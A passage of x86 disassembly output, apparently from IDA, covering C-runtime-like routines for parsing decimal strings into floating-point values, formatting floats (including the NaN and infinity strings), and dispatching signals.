or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4253AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42544F
push edi
mov [ebp+arg_8], eax
loc_425402: ; CODE XREF: sub_4253DB+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_425380
push ebx
call sub_425380
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
push ebx
call sub_425380
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425402
xor edx, edx
pop edi
loc_42544F: ; CODE XREF: sub_4253DB+21j
; sub_4253DB+9Fj
cmp [ebx+8], edx
jnz short loc_42547C
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42544F
; ---------------------------------------------------------------------------
loc_42547C: ; CODE XREF: sub_4253DB+77j
mov esi, 8000h
loc_425481: ; CODE XREF: sub_4253DB+B9j
test [ebx+8], esi
jnz short loc_425496
push ebx
call sub_425380
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_425481
; ---------------------------------------------------------------------------
loc_425496: ; CODE XREF: sub_4253DB+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_4253DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4254A2 proc near ; CODE XREF: sub_424D28+17p
; sub_424D55+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_4254DD: ; CODE XREF: sub_4254A2+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_4254F3
cmp cl, 9
jz short loc_4254F3
cmp cl, 0Ah
jz short loc_4254F3
cmp cl, 0Dh
jnz short loc_4254F6
loc_4254F3: ; CODE XREF: sub_4254A2+40j
; sub_4254A2+45j ...
inc edi
jmp short loc_4254DD
; ---------------------------------------------------------------------------
loc_4254F6: ; CODE XREF: sub_4254A2+4Fj
push 4
pop esi
loc_4254F9: ; CODE XREF: sub_4254A2+AEj
; sub_4254A2+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_42577C ; default
; jumptable 00425505 case 10
jmp off_425943[eax*4] ; switch jump
loc_42550C: ; DATA XREF: .packed:off_425943o
cmp bl, 31h ; jumptable 00425505 case 0
jl short loc_42551D
cmp bl, 39h
jg short loc_42551D
loc_425516: ; CODE XREF: sub_4254A2+C4j
; sub_4254A2+118j
push 3
jmp loc_42573A
; ---------------------------------------------------------------------------
loc_42551D: ; CODE XREF: sub_4254A2+6Dj
; sub_4254A2+72j
cmp bl, byte_43D098
jnz short loc_42552C
loc_425525: ; CODE XREF: sub_4254A2+124j
push 5
jmp loc_425772
; ---------------------------------------------------------------------------
loc_42552C: ; CODE XREF: sub_4254A2+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_425552
dec eax
dec eax
jz short loc_425546
sub eax, 3
jnz loc_425815
jmp loc_4255D5
; ---------------------------------------------------------------------------
loc_425546: ; CODE XREF: sub_4254A2+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_425552: ; CODE XREF: sub_4254A2+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_42555B: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp bl, 31h ; jumptable 00425505 case 1
mov [ebp+var_10], edx
jl short loc_425568
cmp bl, 39h
jle short loc_425516
loc_425568: ; CODE XREF: sub_4254A2+BFj
cmp bl, byte_43D098
jz loc_425630
cmp bl, 2Bh
jz short loc_4255AA
cmp bl, 2Dh
jz short loc_4255AA
cmp bl, 30h
jz short loc_4255D5
loc_425583: ; CODE XREF: sub_4254A2+207j
cmp bl, 43h
jle loc_425815
cmp bl, 45h
jle short loc_4255A3
cmp bl, 63h
jle loc_425815
cmp bl, 65h
jg loc_425815
loc_4255A3: ; CODE XREF: sub_4254A2+EDj
push 6
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255AA: ; CODE XREF: sub_4254A2+D5j
; sub_4254A2+DAj ...
dec edi
push 0Bh
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255B2: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp bl, 31h ; jumptable 00425505 case 2
jl short loc_4255C0
cmp bl, 39h
jle loc_425516
loc_4255C0: ; CODE XREF: sub_4254A2+113j
cmp bl, byte_43D098
jz loc_425525
cmp bl, 30h
jnz loc_42578A
loc_4255D5: ; CODE XREF: sub_4254A2+9Fj
; sub_4254A2+DFj
mov eax, edx
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_4255DC: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
mov [ebp+var_10], edx ; jumptable 00425505 case 3
loc_4255DF: ; CODE XREF: sub_4254A2+184j
cmp dword_43D094, edx
jle short loc_4255F8
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425606
; ---------------------------------------------------------------------------
loc_4255F8: ; CODE XREF: sub_4254A2+143j
mov ecx, off_43CE88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425606: ; CODE XREF: sub_4254A2+154j
test eax, eax
jz short loc_425628
cmp [ebp+var_4], 19h
jnb short loc_425620
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425623
; ---------------------------------------------------------------------------
loc_425620: ; CODE XREF: sub_4254A2+16Cj
inc [ebp+var_8]
loc_425623: ; CODE XREF: sub_4254A2+17Cj
mov bl, [edi]
inc edi
jmp short loc_4255DF
; ---------------------------------------------------------------------------
loc_425628: ; CODE XREF: sub_4254A2+166j
cmp bl, byte_43D098
jnz short loc_425697
loc_425630: ; CODE XREF: sub_4254A2+CCj
mov eax, esi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425637: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp [ebp+var_4], 0 ; jumptable 00425505 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_425650
loc_425643: ; CODE XREF: sub_4254A2+1ACj
cmp bl, 30h
jnz short loc_425650
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425643
; ---------------------------------------------------------------------------
loc_425650: ; CODE XREF: sub_4254A2+19Fj
; sub_4254A2+1A4j ...
cmp dword_43D094, edx
jle short loc_425669
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425669: ; CODE XREF: sub_4254A2+1B4j
mov ecx, off_43CE88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425677: ; CODE XREF: sub_4254A2+1C5j
test eax, eax
jz short loc_425697
cmp [ebp+var_4], 19h
jnb short loc_425692
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_425692: ; CODE XREF: sub_4254A2+1DDj
mov bl, [edi]
inc edi
jmp short loc_425650
; ---------------------------------------------------------------------------
loc_425697: ; CODE XREF: sub_4254A2+18Cj
; sub_4254A2+1D7j
cmp bl, 2Bh
jz loc_4255AA
cmp bl, 2Dh
jz loc_4255AA
jmp loc_425583
; ---------------------------------------------------------------------------
loc_4256AE: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp dword_43D094, edx ; jumptable 00425505 case 5
mov [ebp+var_24], edx
jle short loc_4256CA
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4256D8
; ---------------------------------------------------------------------------
loc_4256CA: ; CODE XREF: sub_4254A2+215j
mov ecx, off_43CE88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4256D8: ; CODE XREF: sub_4254A2+226j
test eax, eax
jz loc_42578A
mov eax, esi
jmp short loc_42573B
; ---------------------------------------------------------------------------
loc_4256E4: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
lea ecx, [edi-2] ; jumptable 00425505 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_4256F4
cmp bl, 39h
jle short loc_425738
loc_4256F4: ; CODE XREF: sub_4254A2+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_425770
dec eax
dec eax
jz short loc_425764
sub eax, 3
jnz loc_425818
loc_425709: ; CODE XREF: sub_4254A2+2A4j
push 8
jmp short loc_425772
; ---------------------------------------------------------------------------
loc_42570D: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
mov [ebp+var_20], edx ; jumptable 00425505 case 8
loc_425710: ; CODE XREF: sub_4254A2+276j
cmp bl, 30h
jnz short loc_42571A
mov bl, [edi]
inc edi
jmp short loc_425710
; ---------------------------------------------------------------------------
loc_42571A: ; CODE XREF: sub_4254A2+271j
cmp bl, 31h
jl loc_425815
cmp bl, 39h
jg loc_425815
jmp short loc_425738
; ---------------------------------------------------------------------------
loc_42572E: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp bl, 31h ; jumptable 00425505 case 7
jl short loc_425741
cmp bl, 39h
jg short loc_425741
loc_425738: ; CODE XREF: sub_4254A2+250j
; sub_4254A2+28Aj
push 9
loc_42573A: ; CODE XREF: sub_4254A2+76j
pop eax
loc_42573B: ; CODE XREF: sub_4254A2+240j
dec edi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425741: ; CODE XREF: sub_4254A2+28Fj
; sub_4254A2+294j
cmp bl, 30h
jnz short loc_42578A
jmp short loc_425709
; ---------------------------------------------------------------------------
loc_425748: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11
jz short loc_425778
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_425770
dec eax
dec eax
jnz loc_425818
loc_425764: ; CODE XREF: sub_4254A2+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425770: ; CODE XREF: sub_4254A2+258j
; sub_4254A2+2B8j
push 7
loc_425772: ; CODE XREF: sub_4254A2+85j
; sub_4254A2+103j ...
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425778: ; CODE XREF: sub_4254A2+2AAj
push 0Ah
dec edi
pop eax
loc_42577C: ; CODE XREF: sub_4254A2+5Dj
; sub_4254A2+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425505 case 10
jz loc_42581A
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_42578A: ; CODE XREF: sub_4254A2+12Dj
; sub_4254A2+238j ...
mov edi, [ebp+arg_8]
jmp loc_42581A
; ---------------------------------------------------------------------------
loc_425792: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
mov [ebp+var_20], 1 ; jumptable 00425505 case 9
xor esi, esi
loc_42579B: ; CODE XREF: sub_4254A2+339j
cmp dword_43D094, 1
jle short loc_4257B3
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4257C2
; ---------------------------------------------------------------------------
loc_4257B3: ; CODE XREF: sub_4254A2+300j
mov ecx, off_43CE88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4257C2: ; CODE XREF: sub_4254A2+30Fj
test eax, eax
jz short loc_4257E2
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_4257DD
mov bl, [edi]
inc edi
jmp short loc_42579B
; ---------------------------------------------------------------------------
loc_4257DD: ; CODE XREF: sub_4254A2+334j
mov esi, 1451h
loc_4257E2: ; CODE XREF: sub_4254A2+322j
mov [ebp+var_1C], esi
loc_4257E5: ; CODE XREF: sub_4254A2+371j
cmp dword_43D094, 1
jle short loc_4257FD
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42580C
; ---------------------------------------------------------------------------
loc_4257FD: ; CODE XREF: sub_4254A2+34Aj
mov ecx, off_43CE88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42580C: ; CODE XREF: sub_4254A2+359j
test eax, eax
jz short loc_425815
mov bl, [edi]
inc edi
jmp short loc_4257E5
; ---------------------------------------------------------------------------
loc_425815: ; CODE XREF: sub_4254A2+99j
; sub_4254A2+E4j ...
dec edi
jmp short loc_42581A
; ---------------------------------------------------------------------------
loc_425818: ; CODE XREF: sub_4254A2+261j
; sub_4254A2+2BCj
mov edi, ecx
loc_42581A: ; CODE XREF: sub_4254A2+2DDj
; sub_4254A2+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425902
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425846
cmp [ebp+var_45], 5
jl short loc_42583A
inc [ebp+var_45]
loc_42583A: ; CODE XREF: sub_4254A2+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425849
; ---------------------------------------------------------------------------
loc_425846: ; CODE XREF: sub_4254A2+38Dj
mov eax, [ebp+var_C]
loc_425849: ; CODE XREF: sub_4254A2+3A2j
cmp [ebp+var_4], 0
jbe loc_4258F8
loc_425853: ; CODE XREF: sub_4254A2+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_425861
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_425853
; ---------------------------------------------------------------------------
loc_425861: ; CODE XREF: sub_4254A2+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_4253DB
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_425880
neg eax
loc_425880: ; CODE XREF: sub_4254A2+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_42588B
add eax, [ebp+arg_10]
loc_42588B: ; CODE XREF: sub_4254A2+3E4j
cmp [ebp+var_24], ecx
jnz short loc_425893
sub eax, [ebp+arg_14]
loc_425893: ; CODE XREF: sub_4254A2+3ECj
cmp eax, 1450h
jle short loc_4258CA
mov [ebp+var_2C], 1
loc_4258A1: ; CODE XREF: sub_4254A2+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4258AD: ; CODE XREF: sub_4254A2+454j
; sub_4254A2+45Ej
cmp [ebp+var_2C], 0
jz short loc_425913
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_4258CA: ; CODE XREF: sub_4254A2+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_4258DA
mov [ebp+var_30], 1
jmp short loc_4258A1
; ---------------------------------------------------------------------------
loc_4258DA: ; CODE XREF: sub_4254A2+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_42600E
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_4258F8: ; CODE XREF: sub_4254A2+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_425902: ; CODE XREF: sub_4254A2+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_425913: ; CODE XREF: sub_4254A2+40Fj
cmp [ebp+var_30], 0
jz short loc_425928
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425928: ; CODE XREF: sub_4254A2+426j
; sub_4254A2+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4254A2 endp
; ---------------------------------------------------------------------------
off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r
dd offset loc_42555B ; jump table for switch statement
dd offset loc_4255B2
dd offset loc_4255DC
dd offset loc_425637
dd offset loc_4256AE
dd offset loc_4256E4
dd offset loc_42572E
dd offset loc_42570D
dd offset loc_425792
dd offset loc_42577C
dd offset loc_425748
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_4259D5
mov byte ptr [ebx+2], 2Dh
jmp short loc_4259D9
; ---------------------------------------------------------------------------
loc_4259D5: ; CODE XREF: sub_425973+5Aj
mov byte ptr [ebx+2], 20h
loc_4259D9: ; CODE XREF: sub_425973+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_4259FF
test edi, edi
jnz short loc_4259FF
cmp [ebp+arg_0], edi
jnz short loc_4259FF
loc_4259EA: ; CODE XREF: sub_425973+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_425BFD
; ---------------------------------------------------------------------------
loc_4259FF: ; CODE XREF: sub_425973+6Cj
; sub_425973+70j ...
cmp dx, si
jnz short loc_425A7E
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425A18
cmp [ebp+arg_0], 0
jz short loc_425A27
loc_425A18: ; CODE XREF: sub_425973+9Dj
test edi, 40000000h
jnz short loc_425A27
push offset a1Snan ; "1#SNAN"
jmp short loc_425A6D
; ---------------------------------------------------------------------------
loc_425A27: ; CODE XREF: sub_425973+A3j
; sub_425973+ABj
test cx, cx
jz short loc_425A41
cmp edi, 0C0000000h
jnz short loc_425A41
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Ind ; "1#IND"
jmp short loc_425A50
; ---------------------------------------------------------------------------
loc_425A41: ; CODE XREF: sub_425973+B7j
; sub_425973+BFj
cmp edi, eax
jnz short loc_425A68
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Inf ; "1#INF"
loc_425A50: ; CODE XREF: sub_425973+CCj
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_425A5F: ; CODE XREF: sub_425973+109j
and [ebp+var_4], 0
jmp loc_425BD6
; ---------------------------------------------------------------------------
loc_425A68: ; CODE XREF: sub_425973+C5j
; sub_425973+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_425A6D: ; CODE XREF: sub_425973+B2j
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_425A5F
; ---------------------------------------------------------------------------
loc_425A7E: ; CODE XREF: sub_425973+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_42600E
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_425ADF
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425DEE
pop ecx
pop ecx
loc_425ADF: ; CODE XREF: sub_425973+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425AF9
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_425AFC
jmp loc_4259EA
; ---------------------------------------------------------------------------
loc_425AF9: ; CODE XREF: sub_425973+173j
mov edi, [ebp+arg_C]
loc_425AFC: ; CODE XREF: sub_425973+17Fj
cmp edi, 15h
jle short loc_425B04
push 15h
pop edi
loc_425B04: ; CODE XREF: sub_425973+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425B1A: ; CODE XREF: sub_425973+1B4j
lea eax, [ebp+var_10]
push eax
call sub_425380
dec [ebp+arg_14]
pop ecx
jnz short loc_425B1A
test esi, esi
jge short loc_425B44
neg esi
and esi, 0FFh
jle short loc_425B44
loc_425B37: ; CODE XREF: sub_425973+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4253AE
dec esi
pop ecx
jnz short loc_425B37
loc_425B44: ; CODE XREF: sub_425973+1B8j
; sub_425973+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_425BA1
mov [ebp+arg_C], ecx
loc_425B54: ; CODE XREF: sub_425973+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_425380
lea eax, [ebp+var_10]
push eax
call sub_425380
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425322
lea eax, [ebp+var_10]
push eax
call sub_425380
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_425B54
mov eax, [ebp+arg_14]
loc_425BA1: ; CODE XREF: sub_425973+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_425BDE
loc_425BAE: ; CODE XREF: sub_425973+248j
cmp eax, ecx
jb short loc_425BC1
cmp byte ptr [eax], 39h
jnz short loc_425BBD
mov byte ptr [eax], 30h
dec eax
jmp short loc_425BAE
; ---------------------------------------------------------------------------
loc_425BBD: ; CODE XREF: sub_425973+242j
cmp eax, ecx
jnb short loc_425BC5
loc_425BC1: ; CODE XREF: sub_425973+23Dj
inc eax
inc word ptr [ebx]
loc_425BC5: ; CODE XREF: sub_425973+24Cj
inc byte ptr [eax]
loc_425BC7: ; CODE XREF: sub_425973+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425BD6: ; CODE XREF: sub_425973+F0j
mov eax, [ebp+var_4]
loc_425BD9: ; CODE XREF: sub_425973+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_425BDE: ; CODE XREF: sub_425973+239j
; sub_425973+275j
cmp eax, ecx
jb short loc_425BEE
cmp byte ptr [eax], 30h
jnz short loc_425BEA
dec eax
jmp short loc_425BDE
; ---------------------------------------------------------------------------
loc_425BEA: ; CODE XREF: sub_425973+272j
cmp eax, ecx
jnb short loc_425BC7
loc_425BEE: ; CODE XREF: sub_425973+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_425BFD: ; CODE XREF: sub_425973+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425BD9
sub_425973 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_425C6D
dec eax
dec eax
jz short loc_425C5E
sub eax, 4
jz short loc_425C5E
sub eax, 3
jz short loc_425C5E
sub eax, 4
jz short loc_425C51
sub eax, 6
jz short loc_425C44
dec eax
jz short loc_425C37
or eax, 0FFFFFFFFh
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C37: ; CODE XREF: sub_425C06+27j
mov esi, dword_4DC014
mov eax, offset dword_4DC014
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C44: ; CODE XREF: sub_425C06+24j
mov esi, dword_4DC010
mov eax, offset dword_4DC010
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C51: ; CODE XREF: sub_425C06+1Fj
mov esi, dword_4DC018
mov eax, offset dword_4DC018
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C5E: ; CODE XREF: sub_425C06+10j
; sub_425C06+15j ...
push edi
call sub_425D33
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C6D: ; CODE XREF: sub_425C06+Cj
mov esi, dword_4DC00C
mov eax, offset dword_4DC00C
loc_425C78: ; CODE XREF: sub_425C06+3Cj
; sub_425C06+49j ...
cmp esi, 1
jnz short loc_425C84
xor eax, eax
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C84: ; CODE XREF: sub_425C06+75j
test esi, esi
jnz short loc_425C8F
push 3
call sub_41C1A2
loc_425C8F: ; CODE XREF: sub_425C06+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_425CA1
cmp edi, 0Bh
jz short loc_425CA1
cmp edi, 4
jnz short loc_425CC7
loc_425CA1: ; CODE XREF: sub_425C06+8Fj
; sub_425C06+94j
mov ebx, dword_4DBEAC
and dword_4DBEAC, 0
cmp edi, ecx
jnz short loc_425CF6
mov edx, dword_43D4DC
mov dword_43D4DC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425CCA
; ---------------------------------------------------------------------------
loc_425CC7: ; CODE XREF: sub_425C06+99j
mov ebx, [ebp+arg_0]
loc_425CCA: ; CODE XREF: sub_425C06+BFj
cmp edi, ecx
jnz short loc_425CF6
mov eax, dword_43D4D0
mov ecx, dword_43D4D4
add ecx, eax
cmp eax, ecx
jge short loc_425CFD
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43D460h[edx*4]
loc_425CEB: ; CODE XREF: sub_425C06+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425CEB
